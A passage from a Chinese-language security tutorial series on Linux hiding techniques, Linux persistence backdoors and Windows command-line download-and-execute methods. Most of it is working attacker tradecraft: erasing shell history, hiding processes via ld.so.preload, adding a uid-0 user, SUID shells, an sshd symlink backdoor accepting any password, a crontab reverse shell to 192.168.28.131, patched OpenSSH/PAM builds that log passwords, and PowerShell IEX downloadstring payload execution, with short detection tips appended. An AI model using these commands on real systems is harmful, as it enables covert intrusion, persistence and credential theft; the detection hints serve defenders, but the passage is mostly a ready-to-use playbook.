或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。

touch -t 1401021042.30 webshell.php

0x03 隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的, 从而达到隐藏权限的目的。

这个技巧常被用在后门, 变成了一些难以清除的后门文件, 令很多新手朋友感到头疼。

chattr +i evil.php 锁定文件 lsattr evil.php 属性查看 chattr -i evil.php 解除锁定 rm -rf 1.evil.php 删除文件

```
[root@localhost tmp]# ls -1
总用量 0
-rw-r--r-. l root root 0 6月 29 22:08 evil.php
[root@localhost tmp]#
[root@localhost tmp]# chattr +i evil.php
[root@localhost tmp]# ls -1
总用量 0
-rw-r--r-. l root root 0 6月 29 22:08 evil.php
[root@localhost tmp]# rm -rf evil.php
rm: 无法删除"evil.php": 不允许的操作
[root@localhost tmp]# lsattr evil.php
----i----e-- evil.php
[root@localhost tmp]# chattr -i evil.php
[root@localhost tmp]# rm -rf evil.php
```

0x04 隐藏历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

```
[space]set +o history
备注: [space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
```

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的 所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:
[Space]set -o history 它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]

| [root@] | localhost ~] | # history | ! | | |
|---------|--------------|-----------|--------------|------|--------------------|
| 1 | 2019-06-29 | 22:46:49 | 192.168.28.1 | root | ifconfig |
| 2 | 2019-06-29 | 22:46:52 | 192.168.28.1 | root | more /etc/passwd |
| 3 | 2019-06-29 | 22:47:05 | 192.168.28.1 | root | echo "evil" |
| 4 | 2019-06-29 | 22:47:07 | 192.168.28.1 | root | history |
| [root@] | localhost ~] | # history | / grep evil | | |
| 3 | 2019-06-29 | 22:47:05 | 192.168.28.1 | root | echo "evil" |
| 5 | 2019-06-29 | 22:47:29 | 192.168.28.1 | root | history grep evil |
| [root@] | localhost ~] | # history | 7 -d 3 | | |
| [root@] | localhost ~] | # history | 7 | | |
| 1 | 2019-06-29 | 22:46:49 | 192.168.28.1 | root | ifconfig |
| 2 | 2019-06-29 | 22:46:52 | 192.168.28.1 | root | more /etc/passwd |
| 3 | 2019-06-29 | 22:47:07 | 192.168.28.1 | root | history |
| 4 | 2019-06-29 | 22:47:29 | 192.168.28.1 | root | history grep evil |
| 5 | 2019-06-29 | 22:47:33 | 192.168.28.1 | root | history -d 3 |
| 6 | 2019-06-29 | 22:47:35 | 192.168.28.1 | root | history |

这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。 我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:

sed -i '150,\$d' .bash_history

0x05 隐藏远程SSH登陆记录

隐身登录系统,不会被w、who、last等指令检测到。

```
ssh -T root@127.0.0.1 /bin/bash -i
```

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -i

0x06 端口复用

通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

```
#安装SSLH
sudo apt-get install sslh
#配置SSLH
编辑 SSLH 配置文件:
sudo vi /etc/default/sslh
1、找到下列行: Run=no 将其修改为: Run=yes
2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile
/var/run/sslh/sslh.pid"
```

第二种方式:利用IPTables进行端口复用

```
# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --
name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name
letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name
letmein --rsource -j LETMEIN
```

利用方式:

#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80



具体文章详见:远程遥控 IPTables 进行端口复用

0x07 进程隐藏

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

第一种方法: libprocesshider

github项目地址: <u>https://github.com/gianlucaborello/libprocesshider</u>

```
利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
```

```
# 下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
```

测试:运行 evil_script.py,

```
[root@localhost libprocesshider]# ls
evil script.py Makefile processhider.c README.md
[root@localhost libprocesshider]# more evil_script.py
#!/usr/bin/python
import socket
import sys
def send_traffic(ip, port):
    print "Sending burst to " + ip + ":" + str(port)
     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
     sock.connect((ip, port))
    while True:
         sock.send("I AM A BAD BOY")
if len(sys.argv) != 3:
    print "Usage: " + sys.argv[0] + " IP PORT"
     sys.exit()
send traffic(sys.argv[1], int(sys.argv[2]))
[root@localhost libprocesshider]# ./evil_script.py 192.168.28.129 80
Sending burst to 192.168.28.129:80
```

此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。

| top - | 02:20 | 0:10 up : | 10:12 | , 8 use | rs, loa | d avera | age: 1 | .13, 1 | .00, 1.08 | |
|--------|--------|-----------|-------|---------|----------|---------|--------|--------|-----------------------|---------|
| Tasks | : 83 | total, | 1 r | unning, | 81 slee | ping, | 1 st | opped, | 0 zombie | |
| %Cpu (| s): 25 | 5.1 us, ' | 74.6 | sy, 0.0 | ni, O. | 0 id, | 0.0 1 | ra, O. | 0 hi, 0.3 si, 0.0 st | |
| KiB M | em : | 1015832 | tota | 1, 209 | 596 free | e, 300 | 0340 u | used, | 505896 buff/cache | |
| KiB S | wap: | 2097148 | tota | 1, 2097 | 148 free | ÷, | 0 υ | used. | 535892 avail Mem | |
| | | | | | | | | | | |
| PID | USER | PR | NI | VIRT | RES | SHR S | 5 %CPU | ∛ %MEM | TIME+ COMMAND | |
| 12996 | root | 20 | 0 | 0 | 0 | 0 5 | 5 0.3 | 0.0 | 0:00.06 kworker/0:2 | |
| 1 | root | 20 | 0 | 127912 | 6548 | 4148 \$ | 5 0.0 | 0.6 | 0:04.86 systemd | |
| 2 | root | 20 | 0 | 0 | 0 | 0 5 | 5 0.0 | 0.0 | 0:00.01 kthreadd | |
| 3 | root | 20 | 0 | 0 | 0 | 0 5 | 5 0.0 | 0.0 | 0:00.67 ksoftirqd/0 | |
| 5 | root | 0 | -20 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 kworker/0:0H | |
| 7 | root | rt | 0 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 migration/0 | cpu占用率高 |
| 8 | root | 20 | 0 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 rcu_bh | |
| 9 | root | 20 | 0 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:02.18 rcu_sched | |
| 10 | root | 0 | -20 | 0 | 0 | 0 5 | 5 0.0 | 0.0 | 0:00.00 lru-add-drain | |
| 11 | root | rt | 0 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.63 watchdog/0 | |
| 13 | root | 20 | 0 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 kdevtmpfs | |
| 14 | root | 0 | -20 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 netns | |
| 15 | root | 20 | 0 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.01 khungtaskd | |
| 16 | root | 0 | -20 | 0 | 0 | 0 5 | 5 0.0 | 0.0 | 0:00.00 writeback | |
| 17 | root | 0 | -20 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 kintegrityd | |
| 18 | root | 0 | -20 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 bioset | |
| 19 | root | 0 | -20 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 kblockd | |
| 20 | root | 0 | -20 | 0 | 0 | 0 5 | 5 0.0 | 0.0 | 0:00.00 md | |
| 21 | root | 0 | -20 | 0 | 0 | 0 5 | 5 0.0 | 0.0 | 0:00.00 edac-poller | |
| 27 | root | 20 | 0 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 kswapd0 | |
| 28 | root | 25 | 5 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 ksmd | |
| 29 | root | 39 | 19 | 0 | 0 | 0 5 | 5 0.0 | 0.0 | 0:00.36 khugepaged | |
| 30 | root | 0 | -20 | 0 | 0 | 0 5 | 5 0.0 | 0.0 | 0:00.00 crypto | |
| 38 | root | 0 | -20 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 kthrotld | |
| 39 | root | 20 | 0 | 0 | 0 | 0 5 | 5 0.0 | 0.0 | 0:01.27 kworker/u2:1 | |
| 40 | root | 0 | -20 | 0 | 0 | 0.5 | 5 0.0 | 0.0 | 0:00.00 kmpath_rdacd | |
| 41 | root | 0 | -20 | 0 | 0 | 0.8 | 5 0.0 | 0.0 | 0:00.00 kaluad | |
| 42 | root | 0 | -20 | 0 | 0 | 0 3 | 5 0.0 | 0.0 | 0:00.00 kpsmoused | |
| 44 | root | | -20 | | 0 | 0 5 | 5 0.0 | 0.0 | 0:00.00 ipv6_addrconf | |

如何在Linux中发现隐藏的进程,

unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP/UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。

下载地址: <u>http://www.unhide-forensics.info/</u>

安装
sudo yum install unhide
使用
unhide [options] test_list

使用 unhide proc 发现隐藏进程 evil_script.py,如下图所示:



第二种方法:进程注入工具linux-inject

linux-inject是用于将共享对象注入Linux进程的工具

github项目地址: <u>https://github.com/gaffe23/linux-inject.git</u>

```
# 下载程序编译
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so
```

验证进程注入成功,如下图所示:

| <pre>[root@localhost linux-inject]# ./inject -n sample-target sample-lib</pre> | prary.so |
|--|--|
| targeting process "sample-target" with pid 15336 | |
| "sample-library.so" successfully injected | |
| [root@localhost linux-inject]# | |
| <pre>[root@localhost linux-inject]# more /proc/15336/maps</pre> | |
| 00400000-00401000 r-xp 00000000 08:02 392435 | <pre>/tmp/linux-inject/sample-target</pre> |
| 00600000-00601000 rp 00000000 08:02 392435 | <pre>/tmp/linux-inject/sample-target</pre> |
| 00601000-00602000 rw-p 00001000 08:02 392435 | <pre>/tmp/linux-inject/sample-target</pre> |
| 006e9000-0070a000 rw-p 00000000 00:00 0 | [heap] |
| 7f449a439000-7f449a43a000 r-xp 00000000 08:02 392434 | <pre>/tmp/linux-inject/sample-library.so</pre> |
| 7f449a43a000-7f449a639000p 00001000 08:02 392434 | <pre>/tmp/linux-inject/sample-library.so</pre> |
| 7f449a639000-7f449a63a000 rp 00000000 08:02 392434 | <pre>/tmp/linux-inject/sample-library.so</pre> |
| 7f449a63a000-7f449a63b000 rw-p 00001000 08:02 392434 | <pre>/tmp/linux-inject/sample-library.so</pre> |
| 7f449a63b000-7f449a63d000 r-xp 00000000 08:02 660630 | /usr/lib64/libdl-2.17.so |
| 7f449a63d000-7f449a83d000p 00002000 08:02 660630 | /usr/lib64/libdl-2.17.so |
| 7f449a83d000-7f449a83e000 rp 00002000 08:02 660630 | /usr/lib64/libdl-2.17.so |
| 7f449a83e000-7f449a83f000 rw-p 00003000 08:02 660630 | /usr/lib64/libdl-2.17.so |
| 7f449a83f000-7f449aa01000 r-xp 00000000 08:02 654589 | /usr/lib64/libc-2.17.so |
| 7f449aa01000-7f449ac01000p 001c2000 08:02 654589 | /usr/lib64/libc-2.17.so |
| 7f449ac01000-7f449ac05000 rp 001c2000 08:02 654589 | /usr/lib64/libc-2.17.so |
| 7f449ac05000-7f449ac07000 rw-p 001c6000 08:02 654589 | /usr/lib64/libc-2.17.so |
| 7f449ac07000-7f449ac0c000 rw-p 00000000 00:00 0 | |

Cymothoa是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。

下载地址: <u>https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/</u>

```
# 下载解压
```

```
wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
tar zxvf cymothoa-1-beta.tar.gz
#
cd cymothoa-1-beta && make
```

0x07 结语

本文主要介绍了Linux下的几种隐藏技术,包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面的技巧。仅作抛砖引玉之用,欢迎留言分享。

第4篇: Linux权限维持--后门篇

本文将对Linux下常见的权限维持技术进行解析,知己知彼百战不殆。

1、一句话添加用户和密码

添加普通用户:

```
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 `` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
```

添加root用户:

```
# 创建一个用户名guest, 密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -
d /home/test
```

可疑用户排查技巧:

```
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
```

2、SUID Shell

Suid shell是一种可用于以拥有者权限运行的shell。

```
配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
```

使用guest用户登录就可疑获取root权限。

```
-bash-4.2$ id

uid=1000(guest) gid=1000(guest) groups=1000(guest) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

-bash-4.2$

-bash-4.2$ is -al /tmp/shell

-rwsr-xr-x. 1 root root 960472 Mar 3 20:33 /tmp/shell

-bash-4.2$

-bash-4.2$

-bash-4.2$

-bash-4.2$

shell-4.2$

shell-4.2$

id

uid=1000(guest) gid=1000(guest) euid=0(root) groups=1000(guest) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。

排查技巧:

在Linux中查找SUID设置的文件
find . -perm /4000
在Linux中查找使用SGID设置的文件
find . -perm /2000
取消s权限
chmod u-s /tmp/shell

3、ssh公私钥免密登录

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程 序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

客户端:

ssh-keygen -t rsa

过程中按三次回车,执行结束如下图:

| [root@localhost tmp]# ssh-keygen -t rsa |
|---|
| Generating public/private rsa key pair. |
| Enter file in which to save the key (/root/.ssh/id_rsa): |
| Enter passphrase (empty for no passphrase): |
| Enter same passphrase again: |
| Your identification has been saved in /root/.ssh/id_rsa. |
| Your public key has been saved in /root/.ssh/id rsa.pub. |
| The key fingerprint is: |
| SHA256:D05g72d0UVcC7I05o0k++RQJM07Z05jLB4gmAGCzi6c root@localhost.localdomain |
| The key's randomart image is: |
| +[RSA 2048]+ |
| I*o I |
| o . + +. o |
| o 0 *+o . |
| o + Bo*o. |
| o o S |
| o . +. o+ |
| IE 00+0. |
| · *oo |
| . *0 |
| +[SHA256]+ |
| [root@localbost_tmp]# |
| |

进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:

[root@localhost tmp]# cd /root/.ssh/ [root@localhost .ssh]# ls id_rsa id_rsa.pub known_hosts [root@localhost .ssh]#__

其中 id_rsa 为私钥, id_rsa.pub 为公钥, 接下来打开 id_rsa.pub, 将内容复制到服务器。将 id_rsa.pub 的内容 追加到 /root/.ssh/authorized_keys 内, 配置完成。

排查技巧: 查看 /root/.ssh/authorized_keys 是否被修改。

4、软连接

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即 root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su 在 /etc/pam.d/目 录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是 auth sufficient pam_rootok.so,所以 只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

在目标服务器上执行一句话后门:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

执行完之后,任何一台机器 ssh root@IP -p 8888,输入任意密码,成功登录。

root@kali:~# ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.28.131 netmask 255.255.255.0 broadcast 192.168.28.255 inet6 fe80::20c:29ff:fe37:701b prefixlen 64 scopeid 0x20<link> ether 00:0c:29:37:70:1b txqueuelen 1000 (Ethernet) RX packets 242 bytes 37139 (36.2 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 433 bytes 43066 (42.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,L00PBACK,RUNNING> mtu 65536
 inet 127.0.0.1 netmask 255.0.0.0
 inet6 ::1 prefixlen 128 scopeid 0x10<host>
 loop txqueuelen 1000 (Local Loopback)
 RX packets 20 bytes 1116 (1.0 KiB)
 RX errors 0 dropped 0 overruns 0 frame 0
 TX packets 20 bytes 1116 (1.0 KiB)
 TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@kali:~# ssh root@192.168.28.152 -p 8888
root@192.168.28.152's password:
Last login: Tue Mar 3 21:06:36 HKT 2020 from 192.168.28.131 on pts/1
Last login: Tue Mar 3 21:09:59 2020 from 192.168.28.131

排查技巧:进程、端口都可以发现异常,kill-s9PID结束进程即可清除后门。

| [+ @ | ~1# | + - + - + | | 0000 | | | | | | |
|-----------|--------|-----------|----------|-----------|------|----------|----------------|-------------|----------|--|
| Lrootewww | J# ne⊤ | tstat -ar | ipit gr | ер 8888 | | | | | | |
| tcp | 0 | 0 0.0.0 | 0.0:8888 | | 0.0 | . 0. 0:* | | LISTEN | 14432/su | |
| tcp | 0 | 0 :::88 | 388 | | :::: | * | | LISTEN | 14432/su | |
| [root@www | ~]# | | | | | | | | | |
| [root@www | ~]# ps | aux grep | 8888 0 | | | | | | | |
| root 1 | 4432 (| 0.0 0.0 | 66604 | 1164 ? | Ss | 01:38 | 0:00 /tmp/su - | -oPort=8888 | | |
| root 1 | 4448 (| 0.0 0.0 | 103248 | 880 pts/1 | S+ | 01:41 | 0:00 grep 8888 | 3 | | |

5、SSH wrapper

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启 动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进 程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输 入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

服务端:

```
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
```

客户端:

```
socat STDIO TCP4:target_ip:22,sourceport=13377
#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4Δ
root@kali:~# socat STDI0 TCP4:192.168.28.150:22,sourceport=13377
whoami
root
ifconfig
          Link encap:Ethernet HWaddr 00:0C:29:A2:60:53
eth0
          inet addr:192.168.28.150 Bcast:192.168.28.255 Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fea2:6053/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:1052477 errors:0 dropped:0 overruns:0 frame:0
          TX packets:446990 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1075511037 (1.0 GiB) TX bytes:62262641 (59.3 MiB)
lo
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436 Metric:1
          RX packets:1471 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1471 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:106805 (104.3 KiB) TX bytes:106805 (104.3 KiB)
```

排查技巧:

ls -al /usr/sbin/sshd
cat /usr/sbin/sshd
可通过重装ssh服务恢复。

6、strace后门

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

```
#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc
```

排查技巧:使用 alias 即可发现异常。

| [root@ | 2www ~]# alias | |
|--------|---|---------------------|
| alias | cp='cp -i' | |
| alias | l.='ls -d .*color=auto' | |
| alias | ll='ls -lcolor=auto' | |
| alias | ls='lscolor=auto' | |
| alias | mv='mv -i' | |
| alias | rm='rm -i' | |
| alias | ssh='strace -o /tmp/.ssh.log -e read, write, connect -s | 2048 ssh' |
| alias | which= alias /usr/bin/whichtty-onlyread-alias | show-dotshow-tilde' |

7、crontab反弹shell

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

a、创建shell脚本,例如在/etc/evil.sh

```
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
```

chmod +sx /etc/evil.sh

b、crontab -e 设置定时任务

#每一分钟执行一次 */1 * * * * root /etc/evil.sh

重启crond服务, service crond restart, 然后就可以用nc接收shell。

```
root@kali:~# uname -a
Linux kali 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-2kali1 (2019-08-22) x86 64 GNU/L
inux
root@kali:~#
root@kali:~# nc -lvp 12345
listening on [any] 12345 ...
192.168.28.150: inverse host lookup failed: Unknown host
connect to [192.168.28.131] from (UNKNOWN) [192.168.28.150] 32786
bash: no job control in this shell
[root@www ~]# whoami
whoami
root
[root@www ~]# uname -a
uname -a
Linux www 2.6.32-431.el6.x86 64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86 64 x86 64
x86 64 GNU/Linux
[root@www ~]#
```

排查技巧:

查看可疑的定时任务列表 crontab -e

8、openssh后门

利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。

```
a、备份SSH配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
b、解压并安装补丁
tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff</pre>
c、记录用户名和密码的文件位置及其密码
vi includes.h
       #define ILOG "/tmp/1.txt"
                                         //记录登录本机的用户名和密码
       #define OLOG "/tmp/2.txt"
                                          //记录本机登录远程的用户名和密码
       #define SECRETPW "123456789"
                                          //后门的密码
d、修改版本信息
vi version.h
       #define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
       #define SSH_PORTABLE "小版本号"
e、安装并编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart
```

f、对比原来的配置文件,使配置文件一致,然后修改文件日期。

```
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
g、清除操作记录
export HISTFILE=/dev/null
export HISTSIZE=0
echo >/root/.bash_history //清空操作日志
```

排查技巧:利用strace找出ssh后门.

1、获取可疑进程PI
ps aux | grep sshd
2、跟踪sshd PID
strace -o aa -ff -p PID
3、查看记录密码打开文件
grep open sshd* | grep -v -e No -e null -e denied| grep WR

9、PAM后门

PAM (Pluggable Authentication Modules)是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的 API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证 方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系 统中,如Linux、SunOS、HP-UX 9.0等。

利用方法:

1、获取目标系统所使用的PAM版本,下载对应版本的pam版本

2、解压缩,修改pam_unix_auth.c文件,添加万能密码

3、编译安装PAM

4、编译完后的文件在: modules/pam_unix/.libs/pam_unix.so, 复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。

排查技巧:

1、通过strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位

10、rookit后门

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。

利用方法:安装完成后,使用ssh用户@IP-P配置的端口,即可远程登录。

连接后的截图:



排查技巧:查看端口是否异常, RPM check查看命令是否被替换。

第5篇: Windows命令行文件下载方式汇总

当我们通过Web渗透获取了一个Shell,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢?

一般来说,实现Windows文件下载执行的方式不外乎以下几种方式。第一种,远程下载文件到本地,然后再执行;**第二种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式****。**另外呢,只要你所在服务器的环境支持,你也可以通过任何一门语言来实现它,这种方式暂不在本文的讨论范围之内。

在这里,**本文收集了15种常见的文件下载执行的方式,并结合具体案例**,让我们一起来看看是怎么实现的吧。

- PowerShell
- Bitsadmin
- certutil
- wget
- ipc\$文件共享
- FTP
- TFTP
- WinScp
- msiexec
- IEExec
- mshta
- rundll32
- regsvr32
- MSXSL.EXE
- pubprn.vbs

1、PowerShell

PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。

远程下载文件保存在本地:

```
powershell (new-object
System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')
```

远程执行命令:

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"

| C:\Windows\System32\cmd.exe | _ | | × |
|--|-------|---------|---|
| Microsoft Windows [版本 10.0.18362.535] (c) 2019 Microsoft Corporation。保留所有权利。 | | | Â |
| D:\test>powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt' | ,'evi | 1.exe') | |
| D:\test>dir 驱动器 D 中的卷没有标签。 卷的序列号是 DE72-BB32 | | | |
| D:\test 的目录 | | | |
| 2020/04/13 21:11 〈DIR〉 . 2020/04/13 21:11 〈DIR〉 . 2020/04/13 21:11 〈DIR〉 2020/04/13 21:11 <u>760 evil.exe</u> 1 个文件 760 字节 2 个目录 23, 175, 749, 632 可用字节 | | | |
| D:\test> | | | , |

2、Bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。

bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt

输入以上命令,成功下载文件。

| C:\Windows\System32\cmd.exe | _ | × |
|---|---|---|
| DISPLAY: 'n' TYPE: DOWNLOAD STATE: TRANSFERRED PRIORITY: NORMAL FILES: 1 / 1 BYTES: 32174 / 32174 (100%) Transfer complete. | | î |
| D:\test>dir 驱动器 D 中的卷没有标签。 卷的序列号是 DE72-BB32 | | |
| D:\test 的目录 | | |
| 2020/04/13 21:17 〈DIR〉 . 2020/04/13 21:17 〈DIR〉 . 2020/04/13 21:16 <u>32, 174 1. txt</u> 1 个文件 <u>32, 174 字节</u> 2 个目录 23, 175, 671, 808 可用字节 | | |
| D:\test> | | ~ |

3、certutil

用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。

